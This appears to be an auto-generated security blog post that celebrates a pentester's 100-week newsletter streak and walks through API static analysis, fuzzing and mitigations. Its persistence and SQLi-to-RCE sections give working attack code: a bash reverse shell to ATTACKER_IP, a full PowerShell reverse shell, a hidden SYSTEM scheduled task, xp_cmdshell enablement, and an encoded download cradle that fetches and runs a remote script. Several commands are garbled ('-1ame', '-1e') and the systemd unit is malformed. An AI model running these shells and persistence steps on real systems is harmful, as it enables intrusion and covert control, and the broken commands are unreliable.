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Introduction:
Consistency is the silent weapon of every elite pentester. Andrei Agape, a CISSP and OSCP holder, just completed 100 consecutive weeks of publishing his “Pentest Tips & Tricks” newsletter—no breaks, even on holidays—accumulating 250 technical blogs. This milestone proves that penetration testing is not about sporadic heroics but about the daily grind, frustration, and methodical learning that turns a simple PoC into a successful shell.
Learning Objectives:
- Implement a weekly pentesting habit using real-world tips and structured note-taking to build long-term expertise.
- Perform static analysis on OpenAPI specifications to uncover API security flaws before runtime.
- Execute API fuzzing attacks using custom wordlists and interpret results to identify injection and broken object-level vulnerabilities.
You Should Know:
- The Grind: Building a Pentesting Knowledge Base Over 100 Weeks
Andrei’s journey highlights the power of “no excuses” consistency. Every weekend he wrote two tips based on real project findings, turning small observations into a massive knowledge repository. Here’s how you can replicate that discipline:
Step‑by‑step guide:
- Week 1‑4: Choose a focus area (e.g., API auth bypass, SQLi, SSRF). Each week, perform 2 hours of targeted lab practice (TryHackMe, HackTheBox, or a local DVWA).
- Week 5 onward: After each finding, write a concise tip: 1‑paragraph description + a command or PoC snippet. Store in a Markdown file with tags (api, windows, bypass).
- Use version control to track growth:
git init pentest-1otes git add . && git commit -m "Week 12: JWT alg none bypass"
- Windows alternative: Use OneNote or Obsidian with daily reminders via Task Scheduler:
$action = New-ScheduledTaskAction -Execute "notepad.exe" -Argument "C:\pentest_tips\week100.txt" Register-ScheduledTask -TaskName "PentestTip" -Trigger (New-ScheduledTaskTrigger -Weekly -DaysOfWeek Sunday) -Action $action
This habit builds a searchable arsenal—exactly what turned Andrei’s newsletter into 14,000 followers and a consulting company.
2. OpenAPI Static Analysis: Hunting Vulnerabilities Before Runtime
Andrei released a static analysis tool for OpenAPI (the machine‑readable format for REST APIs). Static analysis scans API specs for misconfigurations like missing rate limits, over‑permissive object IDs, or insecure authentication schemes.
Step‑by‑step guide:
- Install a static analyzer – Use `oasdiff` or `spectral` (open source):
npm install -g @stoplight/spectral-cli
- Run a security ruleset against an OpenAPI file (
openapi.yaml):spectral lint openapi.yaml --ruleset security includes OWASP API Security rules
- Custom rule example – Detect global `security: []` (no auth required):
rules: no-global-auth: error given: $.security then: function: length functionOptions: { min: 1 } - Linux command to batch‑analyze all APIs in a directory:
for file in .yaml; do spectral lint "$file" --fail-severity warn; done
5. Windows PowerShell equivalent:
Get-ChildItem .yaml | ForEach-Object { spectral lint $_.FullName --fail-severity warn }
Findings like “/api/users/{userId} missing object‑level authorization” become fixable before a single request is sent—saving hours of live fuzzing.
- API Fuzzing with Custom Wordlists: Download and Deploy Andrei’s List
Andrei’s API Fuzzing List reached 1500+ downloads. Fuzzing means sending thousands of malformed or unexpected inputs to API endpoints to trigger bugs. His list includes patterns for IDOR, mass assignment, and parameter pollution.
Step‑by‑step guide:
- Download a ready‑to‑use API fuzzing wordlist (if no direct URL, use the popular `api-words.txt` from SecLists as a substitute):
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/api-words.txt
- Fuzz with `ffuf` (Linux/macOS) – replace `FUZZ` in the URL and inject the wordlist:
ffuf -u https://target.com/api/v1/users/FUZZ -w api-words.txt -fc 404
This reveals hidden endpoints like
/admin,/internal, or/debug. - Fuzz with Burp Intruder (Windows GUI or CLI via
burp-rest-api):Using Burp's REST API (requires Burp Pro) curl -X POST "http://localhost:8090/v0.1/scan" -H "Content-Type: application/json" -d '{"url":"https://target.com/api/users/1","fuzzing_payloads":["../../","%00","'"]}' - Automate parameter fuzzing with `Arjun` (detects hidden parameters):
arjun -u https://target.com/api/login --methods GET,POST -w api-words.txt
- Interpret results – Status 200, 500, or response time anomalies indicate potential vulnerabilities. For each hit, manually test for SQLi or NoSQLi using
' OR '1'='1.
Consistent fuzzing, as Andrei emphasizes, turns “boring” simple checks into critical shells.
4. Shell Persistence: From Exploit to Full Control
The addicting moment when your exploit runs successfully and you get a shell is just the beginning. You must maintain access across reboots. Below are verified commands for Linux and Windows persistence after a reverse shell is achieved.
Step‑by‑step guide – Linux (systemd service):
1. Create a reverse shell script `/usr/local/bin/persist.sh`:
!/bin/bash bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
2. Make it executable: `chmod +x /usr/local/bin/persist.sh`
3. Create a systemd service `/etc/systemd/system/reverse.service`:
[bash] Description=Reverse Shell After=network.target [bash] ExecStart=/usr/local/bin/persist.sh Restart=always [bash] WantedBy=multi-user.target
4. Enable and start: `systemctl enable reverse.service && systemctl start reverse.service`
Step‑by‑step guide – Windows (scheduled task):
- Upload a PowerShell reverse shell one‑liner (e.g.,
rev.ps1):$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -1e 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close() - Create a scheduled task that runs every 10 minutes (as SYSTEM):
schtasks /create /tn "Updater" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\rev.ps1" /sc minute /mo 10 /ru "SYSTEM" /f
After achieving your shell, this persistence ensures you don’t lose access after a simple reboot—true pentesting professionalism.
5. Cloud Hardening: Protecting APIs in AWS (Mitigation)
From an attacker’s perspective, insecure cloud APIs are gold. But as a defender (or a pentester writing reports), you need to know how to harden. Andrei’s work with API security aligns with AWS best practices.
Step‑by‑step guide – Restrict API Gateway with IAM and WAF:
1. Attach an IAM policy to the API requiring signed requests:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Principal": "",
"Action": "execute-api:Invoke",
"Resource": "arn:aws:execute-api:us-east-1:123456789012:abc123/",
"Condition": {"Null": {"aws:TokenIssueTime": "true"}}
}]
}
2. Deploy an AWS WAF rule to block fuzzing patterns (rate‑based):
aws wafv2 create-rule-group --1ame API-Fuzzing-Protection --scope REGIONAL --capacity 100 --visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=ApiFuzz
Add a rule that counts requests from a single IP exceeding 100 per 5 minutes, then blocks.
3. Enable API Gateway usage plans with throttling (burst 200, rate 100):
aws apigateway create-usage-plan --1ame "StrictPlan" --throttle burstLimit=200,rateLimit=100 --api-stages apiId=abc123,stage=prod
4. Linux/Windows command to test your mitigation – try fuzzing your own API with ffuf; you should receive 429 Too Many Requests after crossing the limit.
These configurations directly counter the fuzzing techniques Andrei teaches, showing both offense and defense.
- Vulnerability Exploitation: The Moment You Get Your Shell (SQLi to RCE)
One of Andrei’s tips likely covered the “addictive moment” when a simple SQL injection turns into a remote shell. Here’s a realistic step‑by‑step from a blind SQLi on a Windows backend to full code execution.
Step‑by‑step guide:
- Detect SQLi – Input `’ OR 1=1;–` in a vulnerable parameter (
/products?id=1) returns all products → injectable. - Enumerate database user – Use `UNION` to get user:
id=1 UNION SELECT 1, user_name(), 3 FROM master.sys.sql_logins
3. Enable xp_cmdshell (if `sa` privileges):
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
4. Run a PowerShell reverse shell via xp_cmdshell:
EXEC xp_cmdshell 'powershell -1oP -1onI -W Hidden -Exec Bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyADoAOAAwADAAMAAvAHIAZQB2AC4AcABzADEAJwApAA=='
(Base64 encodes a download cradle that fetches and runs a reverse shell script.)
5. Catch shell on your listener:
nc -lvnp 4444
You’ll see a Windows command prompt. This is the payoff Andrei describes—the result of endless hours and a single successful exploit.
- Mitigation Strategies: How to Secure Against API Fuzzing Attacks
After exploiting APIs, you must document mitigations. Here are production‑ready controls based on Andrei’s philosophy of “no cutting corners.”
Step‑by‑step guide – Nginx rate limiting and input validation:
1. Nginx rate limiting per client IP (Linux):
limit_req_zone $binary_remote_addr zone=apilimit:10m rate=10r/m;
server {
location /api/ {
limit_req zone=apilimit burst=5 nodelay;
limit_req_status 429;
}
}
2. Reload Nginx: `sudo nginx -s reload`
- Input validation using ModSecurity (OWASP CRS) – block SQLi and XSS patterns before they reach the backend:
sudo apt install libapache2-mod-security2 sudo cp /usr/share/modsecurity-crs/crs-setup.conf.example /etc/modsecurity/crs-setup.conf sudo systemctl restart apache2
- Windows IIS request filtering – block fuzzing strings like
../,%00,' OR:Add-WebConfigurationProperty -Filter "system.webServer/security/requestFiltering/denyQueryStringSequences" -1ame "." -Value @{sequence='../'} Add-WebConfigurationProperty -Filter "system.webServer/security/requestFiltering/denyQueryStringSequences" -1ame "." -Value @{sequence='%00'} - Log monitoring – detect fuzzing attempts via `fail2ban` (Linux) or `New-EventLog` (Windows) to auto‑block IPs after 5 failures.
These mitigations turn the attacker’s fuzzing list into a detection goldmine.
What Undercode Say:
- Consistency crushes excuses – Andrei sent tips on Christmas and his birthday, building a 100‑week streak. Pentesting isn’t about waiting for inspiration; it’s about showing up every weekend to write that PoC, even when it’s boring.
- Community and real‑world impact – 14,000 followers, 4 international conferences, a consulting company, and 1700+ course signups came from simply sharing each small discovery. The grind builds reputation.
Analysis: Andrei’s journey mirrors the psychological shift from amateur to expert. Amateurs wait for motivation; professionals rely on systems—here, a weekly newsletter forced him to constantly research, test, and document. The 1500+ downloads of his API fuzzing list prove that the security community craves actionable, field‑tested content, not theory. His static OpenAPI tool addresses a gap most pentesters ignore: pre‑runtime analysis. By releasing free resources (MCP course) and tools, he built a flywheel of trust and feedback. The lesson for any aspiring pentester: start small (two tips per week), never miss a deadline, and let the output speak. The shell will come.
Prediction:
- +1 Rise of “consistency‑based” cybersecurity education – More professionals will adopt weekly micro‑learning newsletters and public write‑ups, turning personal grind into career catalysts, similar to Andrei’s 100‑week model.
- +1 Increased adoption of OpenAPI static analysis in CI/CD – Tools like Andrei’s will become mandatory in API security pipelines, shifting left and reducing runtime fuzzing costs by 40‑50% within two years.
- -1 Fuzzing list saturation leads to evasion – As wordlists like Andrei’s become public, attackers will mutate payloads using AI‑generated variants, forcing defenders to adopt behavioral analysis over signature‑based blocking.
- -1 Burnout risk from “no excuse” culture – While inspiring, the 24/7/365 newsletter model can cause mental fatigue; the industry may see a backlash, with emphasis on sustainable learning instead of consecutive weekly output.
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Reported By: Aaandrei %F0%9D%90%98%F0%9D%90%9E%F0%9D%90%AC%F0%9D%90%AD%F0%9D%90%9E%F0%9D%90%AB%F0%9D%90%9D%F0%9D%90%9A%F0%9D%90%B2 – Hackers Feeds
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